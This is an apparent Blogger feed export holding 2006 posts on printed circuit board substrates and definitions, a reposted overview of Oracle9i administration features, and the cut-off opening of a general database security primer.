composition&lt;/h2&gt;&lt;p&gt;Most PCBs are composed of between one and sixteen conductive layers separated and supported by layers of insulating material (&lt;i&gt;substrates&lt;/i&gt;) laminated (glued with heat, pressure &amp;amp; sometimes vacuum) together.&lt;/p&gt;&lt;p&gt;Layers may be connected together through drilled holes called &lt;a href="http://en.wikipedia.org/wiki/Via_(electronics)" title="Via (electronics)"&gt;vias&lt;/a&gt;. Either the holes are electroplated or small rivets are inserted. High-density PCBs may have &lt;i&gt;blind vias&lt;/i&gt;, which are visible only on one surface, or &lt;i&gt;buried vias&lt;/i&gt;, which are visible on neither.&lt;/p&gt;&lt;div class="editsection"&gt;Substrates&lt;/div&gt;&lt;div class="editsection"&gt;FR-2&lt;/div&gt;&lt;p&gt;Low-end consumer grade PCB substrates frequently are made of paper impregnated with &lt;a href="http://en.wikipedia.org/wiki/Phenolic_resin" title="Phenolic resin"&gt;phenolic resin&lt;/a&gt;, sometimes branded "&lt;a href="http://en.wikipedia.org/wiki/Pertinax_(material)" title="Pertinax (material)"&gt;Pertinax&lt;/a&gt;". They carry designations such as XXXP, XXXPC, and &lt;a href="http://en.wikipedia.org/wiki/FR-2" title="FR-2"&gt;FR-2&lt;/a&gt;. The material is inexpensive, easy to machine by drilling, shearing and cold punching, and causes less tool wear than &lt;a href="http://en.wikipedia.org/wiki/Glass_fiber" title="Glass fiber"&gt;glass fiber&lt;/a&gt; reinforced substrates. The letters "FR" in the designation indicate flame resistant.&lt;br/&gt;&lt;br/&gt;FR-4&lt;br/&gt;High-end consumer and industrial circuit board substrates are typically made of a material designated &lt;a href="http://en.wikipedia.org/wiki/FR-4" title="FR-4"&gt;FR-4&lt;/a&gt;. This consists of a woven &lt;a href="http://en.wikipedia.org/wiki/Fiberglass" title="Fiberglass"&gt;fiberglass&lt;/a&gt; mat impregnated with a flame resistant &lt;a href="http://en.wikipedia.org/wiki/Epoxy_resin" title="Epoxy resin"&gt;epoxy resin&lt;/a&gt;. It can be drilled, punched and sheared, but due to its abrasive glass content requires tools made of &lt;a href="http://en.wikipedia.org/wiki/Tungsten_carbide" title="Tungsten carbide"&gt;tungsten carbide&lt;/a&gt; for high volume production. Due to the fiberglass reinforcement, it exhibits about five times higher flexural strength and resistance to cracking than paper-phenolic types, albeit at higher cost.&lt;/p&gt;&lt;div class="editsection"&gt;RF&lt;/div&gt;&lt;p&gt;PCBs for high power &lt;a href="http://en.wikipedia.org/wiki/Radio_frequency" title="Radio frequency"&gt;radio frequency&lt;/a&gt; (&lt;a href="http://en.wikipedia.org/wiki/RF" title="RF"&gt;RF&lt;/a&gt;) work use plastics with low &lt;a href="http://en.wikipedia.org/wiki/Dielectric_constant" title="Dielectric constant"&gt;dielectric constant&lt;/a&gt; (&lt;a href="http://en.wikipedia.org/wiki/Permittivity" title="Permittivity"&gt;permittivity&lt;/a&gt;) and dissipation factor, such as Rogers 4000, Rogers Duroid, &lt;a href="http://en.wikipedia.org/wiki/Teflon" title="Teflon"&gt;Teflon&lt;/a&gt; type GT or GX, &lt;a href="http://en.wikipedia.org/wiki/Polyimide" title="Polyimide"&gt;polyimide&lt;/a&gt;, &lt;a href="http://en.wikipedia.org/wiki/Polystyrene" title="Polystyrene"&gt;polystyrene&lt;/a&gt; and cross-linked &lt;a href="http://en.wikipedia.org/wiki/Polystyrene" title="Polystyrene"&gt;polystyrene&lt;/a&gt;. They typically have poorer mechanical properties, but this is considered an acceptable engineering tradeoff in view of their superior electrical performance.&lt;/p&gt;&lt;div class="editsection"&gt;Conductive Core&lt;/div&gt;&lt;p&gt;PCBs designed for use in &lt;a href="http://en.wikipedia.org/wiki/Vacuum" title="Vacuum"&gt;vacuum&lt;/a&gt; or in &lt;a href="http://en.wikipedia.org/wiki/Microgravity" title="Microgravity"&gt;zero gravity&lt;/a&gt;, as in spacecraft, being unable to rely on &lt;a href="http://en.wikipedia.org/wiki/Convection" title="Convection"&gt;convection&lt;/a&gt; &lt;a href="http://en.wikipedia.org/wiki/Cooling" title="Cooling"&gt;cooling&lt;/a&gt;, often have thick copper or aluminum cores to dissipate heat from electrical components.&lt;/p&gt;&lt;div class="editsection"&gt;Flex&lt;/div&gt;&lt;p&gt;Not all circuit boards use rigid core materials. Some are designed to be very flexible or slightly flexible, using &lt;a href="http://en.wikipedia.org/wiki/DuPont" title="DuPont"&gt;DuPont&lt;/a&gt;'s &lt;a href="http://en.wikipedia.org/wiki/Kapton" title="Kapton"&gt;Kapton&lt;/a&gt; &lt;a href="http://en.wikipedia.org/wiki/Polyimide" title="Polyimide"&gt;polyimide&lt;/a&gt; film and others. This class of boards, sometimes called &lt;i&gt;&lt;a href="http://en.wikipedia.org/wiki/Flex_circuit" title="Flex circuit"&gt;flex circuits&lt;/a&gt;&lt;/i&gt;, or &lt;i&gt;rigid-flex circuits&lt;/i&gt;, respectively, are difficult to create but have many applications. Sometimes they are flexible to save space (PCBs inside &lt;a href="http://en.wikipedia.org/wiki/Camera" title="Camera"&gt;cameras&lt;/a&gt; and &lt;a href="http://en.wikipedia.org/wiki/Hearing_aid" title="Hearing aid"&gt;hearing aids&lt;/a&gt; are almost always made of flex circuits so they can be folded up to fit into the limited available space). Sometimes, the flexible part of the circuit board is actually being used as a cable or moving connection to another board or device. One example of the latter application is the cable connected to the carriage in an &lt;a href="http://en.wikipedia.org/wiki/Inkjet_printer" title="Inkjet printer"&gt;inkjet&lt;/a&gt; printer.&lt;/p&gt;&lt;div class="editsection"&gt;Ceramic/Metal Core&lt;/div&gt;&lt;p&gt;&lt;a href="http://en.wikipedia.org/wiki/Power_electronics" title="Power electronics"&gt;Power electronic&lt;/a&gt; applications require low-thermal resistivity substrates, with thick copper track to carry high currents. The main technologies are ceramic-based substrates (&lt;a href="http://en.wikipedia.org/wiki/Power_electronic_substrates" title="Power electronic substrates"&gt;Direct Bonded Copper&lt;/a&gt;) and metal-based substrates (&lt;a href="http://en.wikipedia.org/wiki/Power_electronic_substrates" title="Power electronic substrates"&gt;Insulated Metal Substrate&lt;/a&gt;).&lt;/p&gt;&lt;div class="blogger-post-footer"&gt;&lt;!-- Search Google --&gt;
&lt;center&gt;
&lt;form method="get" action="http://www.google.com/custom" target="google_window"&gt;
&lt;table bgcolor="#ffffff"&gt;
&lt;tr&gt;&lt;td nowrap="nowrap" valign="top" align="left" height="32"&gt;

&lt;br/&gt;
&lt;input type="text" name="q" size="31" maxlength="255" value=""&gt;&lt;/input&gt;
&lt;input type="submit" name="sa" value="Google Search"&gt;&lt;/input&gt;
&lt;input type="hidden" name="client" value="pub-2942851712694691"&gt;&lt;/input&gt;
&lt;input type="hidden" name="forid" value="1"&gt;&lt;/input&gt;
&lt;input type="hidden" name="ie" value="ISO-8859-1"&gt;&lt;/input&gt;
&lt;input type="hidden" name="oe" value="ISO-8859-1"&gt;&lt;/input&gt;
&lt;input type="hidden" name="cof" value="GALT:#008000;GL:1;DIV:#336699;VLC:663399;AH:center;BGC:FFFFFF;LBGC:336699;ALC:0000FF;LC:0000FF;T:000000;GFNT:0000FF;GIMP:0000FF;FORID:1"&gt;&lt;/input&gt;
&lt;input type="hidden" name="hl" value="en"&gt;&lt;/input&gt;
&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/form&gt;
&lt;/center&gt;
&lt;!-- Search Google --&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/32979319-115798275385844081?l=naditya.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://naditya.blogspot.com/feeds/115798275385844081/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=32979319&amp;postID=115798275385844081&amp;isPopup=true' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/32979319/posts/default/115798275385844081'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/32979319/posts/default/115798275385844081'/><link rel='alternate' type='text/html' href='http://naditya.blogspot.com/2006/09/pcb-history.html' title='PCB history'/><author><name>Ilhams</name><uri>http://www.blogger.com/profile/02157128367361065622</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-32979319.post-115798043793763360</id><published>2006-09-11T19:48:00.000+07:00</published><updated>2006-09-11T20:14:05.580+07:00</updated><title type='text'>PCB definition</title><content type='html'>PCB:&lt;br /&gt;Stands for "Printed Circuit Board." A PCB is a thin board made of fiberglass or a similar material. Electrical wires are "printed" onto the board, connecting the microprocessor to other components on the board. Some examples of PCBs include motherboards, RAM chips, and network interface cards. &lt;br /&gt;&lt;br /&gt;Printed circuit boards are sometimes abbreviated as "PC boards," which is fitting, since the boards are commonly used in personal computers. However, PCBs are also found in other types of electronic devices, such as radios, televisions, and computer monitors. Because PCBs are relatively flat, they can also be used in thin devices such as laptops and portable music players.&lt;div class="blogger-post-footer"&gt;&lt;!-- Search Google --&gt;
&lt;center&gt;
&lt;form method="get" action="http://www.google.com/custom" target="google_window"&gt;
&lt;table bgcolor="#ffffff"&gt;
&lt;tr&gt;&lt;td nowrap="nowrap" valign="top" align="left" height="32"&gt;

&lt;br/&gt;
&lt;input type="text" name="q" size="31" maxlength="255" value=""&gt;&lt;/input&gt;
&lt;input type="submit" name="sa" value="Google Search"&gt;&lt;/input&gt;
&lt;input type="hidden" name="client" value="pub-2942851712694691"&gt;&lt;/input&gt;
&lt;input type="hidden" name="forid" value="1"&gt;&lt;/input&gt;
&lt;input type="hidden" name="ie" value="ISO-8859-1"&gt;&lt;/input&gt;
&lt;input type="hidden" name="oe" value="ISO-8859-1"&gt;&lt;/input&gt;
&lt;input type="hidden" name="cof" value="GALT:#008000;GL:1;DIV:#336699;VLC:663399;AH:center;BGC:FFFFFF;LBGC:336699;ALC:0000FF;LC:0000FF;T:000000;GFNT:0000FF;GIMP:0000FF;FORID:1"&gt;&lt;/input&gt;
&lt;input type="hidden" name="hl" value="en"&gt;&lt;/input&gt;
&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/form&gt;
&lt;/center&gt;
&lt;!-- Search Google --&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/32979319-115798043793763360?l=naditya.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://naditya.blogspot.com/feeds/115798043793763360/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=32979319&amp;postID=115798043793763360&amp;isPopup=true' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/32979319/posts/default/115798043793763360'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/32979319/posts/default/115798043793763360'/><link rel='alternate' type='text/html' href='http://naditya.blogspot.com/2006/09/pcb-definition.html' title='PCB definition'/><author><name>Ilhams</name><uri>http://www.blogger.com/profile/02157128367361065622</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-32979319.post-115797797242597959</id><published>2006-09-11T19:31:00.000+07:00</published><updated>2006-09-11T19:32:52.620+07:00</updated><title type='text'>Oracle Instructor's Guide to Oracle9i</title><content type='html'>An Oracle Instructor's Guide to Oracle9i&lt;br/&gt;&lt;br/&gt;Oracle claims that Oracle9i raises the competitive bar by which all future database servers will be judged. Oracle's latest release contains enhancements in virtually all areas of the database server, resulting in an Oracle database with improvements in scalability, availability, performance, manageability, multimedia datatype support and functionality. This article is not intended to be an all-inclusive list of features, but rather an overview of some of the more beneficial (and hopefully interesting) enhancements contained in this release.&lt;br/&gt;&lt;br/&gt;The information on Oracle9i will be provided in three installments. In this article, we'll take a look at the following features: persistent initialization parameter files, remote startup/shutdown, database managed undo segments, resumable space allocation and flashback query.&lt;br/&gt;&lt;br/&gt;Part two will cover external tables, tablespace changes, Oracle managed files, multiple block sizes and cache configuration, list partitioning, on-line table reorganization and index monitoring.&lt;br/&gt;&lt;br/&gt;The last article in this series will cover RAC (Real Application Clusters), fail safe, data guard, fine-grained resource management, fine-grained auditing and label security.&lt;br/&gt;&lt;br/&gt;With all of new features contained in this release, Oracle9i promises to be the most exciting Oracle release to date. This series will focus on what Oracle customers can look forward to when using the "latest and greatest" version of Oracle's flagship database product, Oracle9i.&lt;br/&gt;Persistent Initialization Parameter Files&lt;br/&gt;&lt;br/&gt;Oracle9i introduces on-line parameter changes that persist across database shutdowns and startups. This feature allows administrators to make changes to database initialization parameters and have them take affect immediately. In the past, these changes would require the administrator to edit the database's parameter file (initsid.ora). Because Oracle only reads the parameter file during startup, the changes would not take affect until the next time the database was shutdown and restarted.&lt;br/&gt;&lt;br/&gt;In Oracle9I, a server-based parameter file, called a SPFILE, is used as the repository for initialization parameters. Oracle9i documentation now refers to the old initsid.ora parameter file as the PFILE. The SPFILE is initially created by using the PFILE (initsid.ora) parameter file as the source. It is important to note that the database is initially created using the old PFILE parameter file. Administrators then use the "CREATE SPFILE FROM PFILE" command to create the server-based parameter file. At system startup, the default behavior of the STARTUP command is to look for the SPFILE before it looks for the PFILE. The Oracle administration guides provide information on default location and naming conventions for server-based parameter files.&lt;br/&gt;&lt;br/&gt;The administrator uses the ALTER SYSTEM statement to dynamically change initialization parameters. A parameter can be changed immediately or deferred until the next database startup. Although the majority of the parameters can be dynamically changed, there are a few configuration parameters that can only be changed by editing the old initsid.ora parameter file (PFILE).&lt;br/&gt;&lt;br/&gt;Here are a few hints on PFILEs and SPFILEs:&lt;br/&gt;Never, ever edit a SPFILE manually. Although you can view it in both UNIX and NT editors, editing it can produce a "less than desirable" outcome. The SPFILE was edited three times during our beta testing and the result was three database failures.&lt;br/&gt;If you are required to edit the PFILE to change a static parameter, don't forget to execute the 'CREATE PFILE FROM SPFILE' statement to refresh the PFILE with all of the dynamic changes recorded in the SPFILE. Execute the SPFILE to PFILE refresh before you edit the PFILE. If you don't you could lose the dynamic changes recorded in the SPFILE. Remember, the database looks for the SPFILE first during startup, so you will need to execute the "CREATE SPFILE FROM PFILE" after you edit the PFILE to migrate your changes. If your PFILE doesn't have a record of all your dynamic parameter changes, you will lose them when you execute the 'CREATE PFILE FROM SPFILE' statement. The recommended procedure is to always execute the 'CREATE PFILE FROM SPFILE' command after dynamically changing a parameter to back up the changes recorded in the SPFILE to the PFILE.&lt;br/&gt;&lt;br/&gt;Oracel9i provides a new static parameter called MAX_SGA_SIZE which specifies the maximum size of SGA for the lifetime of the instance. Another new Oracle9i parameter DB_CACHE_SIZE replaces DB_BLOCK_BUFFERS. DB_BLOCK_BUFFERS is still provided for backwards compatibility. DB_BLOCK_BUFFERS and the MAX_SGA_SIZE parameters are static so they can only be changed by editing the PFILE, then executing the 'CREATE SPFILE FROM PFILE' statement and restarting the instance.&lt;br/&gt;&lt;br/&gt;During our testing, we found that the online changes to parameters worked well. We did find that changing SGA parameters produced some interesting results. We were able to dynamically alter the initialization parameters that affect the size of the buffer caches, shared pool, and large pool, but only to the extent that the sum of these sizes and the sizes of the other components of the SGA (fixed SGA, variable SGA, and redo log buffers) did not exceed the value specified by SGA_MAX_SIZE.&lt;br/&gt;&lt;br/&gt;When we reduced memory from the data buffers by decrementing DB_CACHE_SIZE, Oracle allocated the memory saved to the shared pool. When we reversed the operation by reducing the memory allocated to the shared pool, Oracle allocated the freed memory to the data buffers.&lt;br/&gt;Remote Startup/Shutdown&lt;br/&gt;&lt;br/&gt;Oracle9i's persistent parameter files provide administrators with the ability to start an Oracle instance using SQL*Plus on remote clients.&lt;br/&gt;&lt;br/&gt;Before we begin, some background information is in order. Oracle has been promising to desupport server manager and CONNECT INTERNAL for some time now. Administrators would use server manager on the host to connect to the database using the INTERNAL account to start and stop an Oracle instance.&lt;br/&gt;&lt;br/&gt;Server manager and CONNECT INTERNAL are officially desupported in Oracle9i and are replaced by SQL*Plus and a special privilege called SYSDBA. SQL*Plus and SYSDBA have been available for some time but were never a primary means of starting and stopping an Oracle instance.&lt;br/&gt;&lt;br/&gt;During an instance start, Oracle reads instance configuration parameters from a SPFILE or PFILE. In order to facilitate remote startup and shutdown, SQL*Plus is now able to reference the server-based parameter file (SPFILE) from remote clients. This solves the problem of propagating copies of the PFILE to all remote clients that require the ability to start an Oracle instance. By having all clients point to a single source, administrators can rest easy knowing the same parameters are used to configure the instance during each startup.&lt;br/&gt;&lt;br/&gt;The steps to access a SPFILE from a remote client are as follows:&lt;br/&gt;&lt;br/&gt;1. A server-based parameter file (SPFILE) is configured on the database server by executing the 'CREATE SPFILE FROM PFILE' command.&lt;br/&gt;&lt;br/&gt;2. Create a parameter file on the remote client that contains a single line that references the server-based SPFILE:&lt;br/&gt;    spfile=/u01/app/oracle/product/9.0.0/dbs/spfiledemo1.ora&lt;br/&gt;&lt;br/&gt;3. Start SQL*Plus without connecting to the database by executing:&lt;br/&gt;    SQL*PLUS /nolog&lt;br/&gt;&lt;br/&gt;4. Connect to the remote instance as SYSDBA:&lt;br/&gt;    CONNECT username/password@connect_identifier AS SYSDBA&lt;br/&gt;&lt;br/&gt;5. Start the instance by executing:&lt;br/&gt;    STARTUP PFILE=pfilename.ora&lt;br/&gt;&lt;br/&gt;* where pfilename.ora is the parameter file name created in step 2.&lt;br/&gt;&lt;br/&gt;Standard operating practice in UNIX environments is to embed STARTUP and SHUTDOWN commands in server manager to start and stop an Oracle instance. Shops migrating existing databases to Oracle9i should change the startup scripts from server manager to SQL*PLUS.&lt;br/&gt;Database Managed Undo Segments&lt;br/&gt;&lt;br/&gt;You don't have to be an Oracle expert to know that rollback segments can be "somewhat troublesome." Out of space conditions, contention, poor performance and the perennial favorite "snap shot too old" errors have been plaguing Oracle database administrators for over a decade. Oracle finally decided that the database could probably do a better job of managing before images of data than we could.&lt;br/&gt;&lt;br/&gt;A transaction uses a rollback segment to record before images of data it intends to change. If the transaction fails before committing, Oracle uses the before images to rollback or undo the uncommitted data changes. Oracle also uses rollback segments for statement-level read consistency. Read consistency ensures that all data returned by a query comes from the same point-in-time (query start time). Lastly, rollback segments provide before images of data to help the instance roll back failed transactions during instance recovery.&lt;br/&gt;&lt;br/&gt;In Oracle9i, administrators have their choice of continuing to manage rollback segments on their own (manual undo management) or configuring the database to manage its own before image data (automatic undo management). Oracle refers to system managed before image segments as undo segments.&lt;br/&gt;&lt;br/&gt;Administrators must create a tablespace to hold undo segments by using the new UNDO keyword in the tablespace create statement:&lt;br/&gt;    CREATE UNDO TABLESPACE undots1&lt;br/&gt;    DATAFILE 'undotbs_1a.f'&lt;br/&gt;    SIZE 10M AUTOEXTEND ON;&lt;br/&gt;&lt;br/&gt;The following initialization parameters are used to activate automatic undo management:&lt;br/&gt;UNDO_MANAGEMENT - AUTO configures the database is to use automatic undo segments. MANUAL configures the database to use rollback segments.&lt;br/&gt;UNDO_TABLESPACE - Specifies the tablespaces that are to be used to hold the undo segments. The tablespace must be created using the UNDO keyword. If no tablespace is defined, Oracle will select the first available undo tablespace. If no undo tablespaces are present in the database, Oracle will use the system rollback segment during startup. This value can be set dynamically by using the ALTER SYSTEM statement.&lt;br/&gt;UNDO_RETENTION - specifies the amount of time that Oracle attempts to keep undo data available. This parameter becomes important when the Oracle9i flashback query option is used.&lt;br/&gt;&lt;br/&gt;You cannot create database objects in undo tablespaces. It is reserved for system-managed undo data. The view DBA_UNDO_EXTENTS can be accessed to retrieve information relating to system managed undo data. For those of us familiar with V$ROLLSTAT, it is still available and the information reflects the behavior of the undo segments in the undo tablespace.&lt;br/&gt;&lt;br/&gt;We found automatic undo management to be pretty reliable during our initial beta testing of Oracle9i. The key to success is to allocate sufficient disk storage to the undo tablespace and to set AUTOEXTEND on to allow the tablespace datafiles to grow automatically. During our beta testing, numerous heavy batch update jobs were simultaneously run to simulate heavy work loads. We found that the system managed undo segments worked as advertised. During performance comparisons, we did find that system managed undo segments did seem to add some extra processing time to the batch loads. We found that the rollback segment tablespace used in our comparison testing auto extended sooner than its system managed undo tablespace counterpart. One possible explanation is that the overhead can be attributed to the system managed undo segments performing additional actions to squeeze more undo data in the tablespace before giving up and auto expanding the undo tablespace datafile.&lt;br/&gt;Resumable Space Allocation&lt;br/&gt;&lt;br/&gt;Running update jobs that insert or update large amounts of data also cause their fair share of problems. Estimating the space required by large operations can be quite a formidable forecasting effort.&lt;br/&gt;&lt;br/&gt;Do you add extra space to data and index tablespaces? Do you make the table and index INITIAL and NEXT extent sizes bigger? Do you increase the size of the rollback segments to handle the additional load? Should you increase the size of your TEMP tablespace and make your default INITIAL and NEXT extent sizes larger?&lt;br/&gt;&lt;br/&gt;In previous releases, when an out of space condition occurs, the statement quit running and the database rolled back the unit of work. Rolling back can be a time-consuming (sometimes a VERY time-consuming) process. The DBA corrected the problem and the program was run again (hopefully successfully the second time). How many times have there been a third, fourth and fifth time?&lt;br/&gt;&lt;br/&gt;Oracle 9i solves this problem with resumable statements. Oracle9i temporarily pauses SQL statements that suffer from out of space conditions (no freespace in tablespace, file unable to expand, maxextents or maximum quota reached). The DBA is able to easily identify the problem and correct the error. The statement will then resume execution until completion.&lt;br/&gt;&lt;br/&gt;The ALTER SESSION ENABLE RESUMABLE statement is used to activate resumable space allocation for a given session. Developers are able to embed the ALTER SESSION statement in programs to activate resumable space allocation. A new parameter, called RESUMABLE, is used to enable resumable space allocation for export, import and load utilities.&lt;br/&gt;&lt;br/&gt;Statements do not suspend for an unlimited amount of time. A timed interval can be specified in the ALTER SESSION statement to designate the amount of time that passes before the statement wakes up and returns a hard return code to the user and rolls back the unit of work.&lt;br/&gt;&lt;br/&gt;If no time interval is specified, the default time interval of two hours is used.&lt;br/&gt;When a resumable statement suspends because of an out of space condition, the following actions occur:&lt;br/&gt;A triggerable system event is initiated. Developers are able to code triggers that fire when a statement suspends.&lt;br/&gt;Entries are placed into system data dictionary tables. The data dictionary views DBA_RESUMABLE and USER_RESUMABLE can be accessed to retrieve the paused statement's identifier, text, status and error message.&lt;br/&gt;Messages are written to the alert log identifying the statement and the error that caused the statement to suspend.&lt;br/&gt;Flashback Query&lt;br/&gt;&lt;br/&gt;How many times have database recoveries been performed because of incorrect changes made to database data? Were your users ever unsure of the damage? There are times when a simple before change and after change comparison was all that was needed. If the damage was limited, a simple update may have been able to correct the problem. A process that is much less painless than a database restore.&lt;br/&gt;&lt;br/&gt;Oracle9i's flashback query provides users with the capability of viewing data in the past. Oracle describes this new feature as "Oracle Invents the Time Machine" in many of its advertisements. It may not be a time machine, but it does allow data to be viewed in the past and it is easy to use. I must admit, I thought "It sounds too good. It has to be hard to use or not be reliable." I was wrong on both counts.&lt;br/&gt;&lt;br/&gt;To take advantage of flashback queries, the database must use system managed undo segments. If flashback query is to be used, the administrator is tasked with determining how much of the old data should be kept available. The undo tablespace must be sized to hold the desired amount of undo data. Oracle documentation provides calculations that use update frequency and the amount of data being changed to estimate the required size of the undo tablespace.&lt;br/&gt;&lt;br/&gt;The configuration parameter UNDO_RETENTION which specifies the amount of time that Oracle attempts to keep undo data available plays an important role in flashback query. Although Oracle documentation recommends flashback query for applications that want to view data in the past, it is important to understand that the UNDO_RETENTION parameter does not force Oracle to keep the old data in the undo tablespace. Depending on the available disk storage allocated to the undo tablespace, the database might not always be able to keep all of the requested undo data available. Providing active transactions with undo image space takes precedence over flashback query requirements. As a result, applications should not be designed to depend on the availability of historical data retrieved from undo segments.&lt;br/&gt;&lt;br/&gt;The system supplied package DBMS_FLASHBACK is used to provide flashback query capabilities. Standard date and time SQL functions can be used to determine the time in the past the data will be retrieved from. Here is an example that goes back five minutes:&lt;br/&gt;EXECUTE DBMS_FLASHBACK.ENABLE_AT_TIME (SYSDATE - (5/(24*60)));&lt;br/&gt;&lt;br/&gt;The above statement sends the session five minutes back in time for the duration of that session or until the EXECUTE DBMS_FLASHBACK.DISABLE is executed. Oracle recommends that the session not be ended without executing the FLASHBACK.DISABLE procedure. I have seen a few sessions ended without executing FLASHBACK.DISABLE without any detrimental affects. It is better to be safe than sorry, so the recommendation is to always execute FLASHBACK.DISABLE before ending the session.&lt;br/&gt;&lt;br/&gt;Currently, flashback query is able to provide 5 days (uptime not wallclock) worth of data using the date and time parameter. To query data older than this, you must specify an SCN rather than a date and time.&lt;br/&gt;&lt;br/&gt;Two important points to remember when using flashback query:&lt;br/&gt;The current data dictionary is used. If DDL changes have been made to the table between the time stated in the flashback query and the current point in time, an error will be returned.&lt;br/&gt;Data can not be updated during a flashback query enabled session. To save historical data, the old data can be placed into a cursor. The contents of the cursor can be dumped into a work table after the FLASHBACK.DISABLE procedure is executed.&lt;br/&gt;&lt;br/&gt;Remember, although flashback query is promising to be a beneficial feature in Oracle9i, it is not a panacea. Applications should not be designed to depend upon flashback query data. In addition, although it may prevent an occasional database recovery, it must be used cautiously. If data has been changed incorrectly, administrators must determine if other transactions have used that incorrect data as input. If the transactions using incorrect data as input have also made data changes, bad data is now being propagated throughout the database. It may be safer to perform a database recovery to a previous point in time.&lt;br/&gt;&lt;br/&gt;In our next discussion of Oracle9I, we'll discuss external tables, tablespace changes, Oracle managed files, multiple block sizes and cache configuration, list partitioning, on-line index table and index reorganization and index monitoring.&lt;br/&gt;&lt;br/&gt;See you in class!&lt;br/&gt;&lt;br/&gt;Christopher Foot has been involved in database management for over 18 years, serving as a database administrator, database architect, trainer, speaker, and writer. Currently, Chris is employed as a Senior Database Architect at RemoteDBA Experts, a remote database services provider. Chris is the author of over forty articles for a variety of magazines and is a frequent lecturer on the database circuit having given over a dozen speeches to local, national and international Oracle User Groups. His book titled OCP Instructors Guide for DBA Certification, can be found at http://www.dba-oracle.com/bp/bp_book14_OCP.htm.&lt;br/&gt;&lt;br/&gt; &lt;div class="blogger-post-footer"&gt;&lt;!-- Search Google --&gt;
&lt;center&gt;
&lt;form method="get" action="http://www.google.com/custom" target="google_window"&gt;
&lt;table bgcolor="#ffffff"&gt;
&lt;tr&gt;&lt;td nowrap="nowrap" valign="top" align="left" height="32"&gt;

&lt;br/&gt;
&lt;input type="text" name="q" size="31" maxlength="255" value=""&gt;&lt;/input&gt;
&lt;input type="submit" name="sa" value="Google Search"&gt;&lt;/input&gt;
&lt;input type="hidden" name="client" value="pub-2942851712694691"&gt;&lt;/input&gt;
&lt;input type="hidden" name="forid" value="1"&gt;&lt;/input&gt;
&lt;input type="hidden" name="ie" value="ISO-8859-1"&gt;&lt;/input&gt;
&lt;input type="hidden" name="oe" value="ISO-8859-1"&gt;&lt;/input&gt;
&lt;input type="hidden" name="cof" value="GALT:#008000;GL:1;DIV:#336699;VLC:663399;AH:center;BGC:FFFFFF;LBGC:336699;ALC:0000FF;LC:0000FF;T:000000;GFNT:0000FF;GIMP:0000FF;FORID:1"&gt;&lt;/input&gt;
&lt;input type="hidden" name="hl" value="en"&gt;&lt;/input&gt;
&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/form&gt;
&lt;/center&gt;
&lt;!-- Search Google --&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/32979319-115797797242597959?l=naditya.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='related' href='http://www.dbazine.com/oracle/or-articles/foot4' title='Oracle Instructor&apos;s Guide to Oracle9i'/><link rel='replies' type='application/atom+xml' href='http://naditya.blogspot.com/feeds/115797797242597959/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=32979319&amp;postID=115797797242597959&amp;isPopup=true' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/32979319/posts/default/115797797242597959'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/32979319/posts/default/115797797242597959'/><link rel='alternate' type='text/html' href='http://naditya.blogspot.com/2006/09/oracle-instructors-guide-to-oracle9i.html' title='Oracle Instructor&apos;s Guide to Oracle9i'/><author><name>Ilhams</name><uri>http://www.blogger.com/profile/02157128367361065622</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-32979319.post-115797780365521066</id><published>2006-09-11T19:26:00.000+07:00</published><updated>2006-09-11T19:30:04.666+07:00</updated><title type='text'>Database Security Primer</title><content type='html'>An Enterprise Database Security Primer&lt;br /&gt;  &lt;br /&gt; For many system administrators, the terms “open systems” and “security” can seem impossibly opposite. Maintaining security for a centralized database system is difficult enough, and when faced with a network of networked databases, maintaining a level of access and update security is a formidable challenge. Security is often an afterthought, and the database industry is plagued with sub-standard security, especially for enterprise databases that are cobbled-together as a result of external factors such as corporate acquisitions.&lt;br /&gt;There are many problems with security for enterprise databases, far more than the IT industry would care to acknowledge. These security exposures stem from the following architectural issues:&lt;br /&gt;Multiple entry points — Unlike a traditional centralized database, web-based databases have many entry points. These entry points include web servers, VPN access, app server access and access to databases via web portal protocols. When dealing with literally hundreds of entry points, special care needs to be taken to insure that harmful viruses are not introduced into the system.&lt;br /&gt;Weakest link problem — The recent publicity regarding security holes in enterprise security underscores the weakest link problem. When dealing with such a wide variety of entry points and platforms, the overall system security is only as secure as the weakest link in the federation. No matter how much care is taken to insure security at the database level, problems can still be introduced from a variety of other sources. For example, once a hack get root access to a web server, it is often easy to gain access to the database server, especially when remote shell capability is enabled.&lt;br /&gt;Web-based databases — Databases that are configured to allow external communications from other web portals face an exceptional data security challenge. Hackers can constantly attempt to hack into web portals, eventually locating a weakness in the Net Services architecture.&lt;br /&gt;When we speak of security, we must define the scope of security. Security means different things to different managers, and we 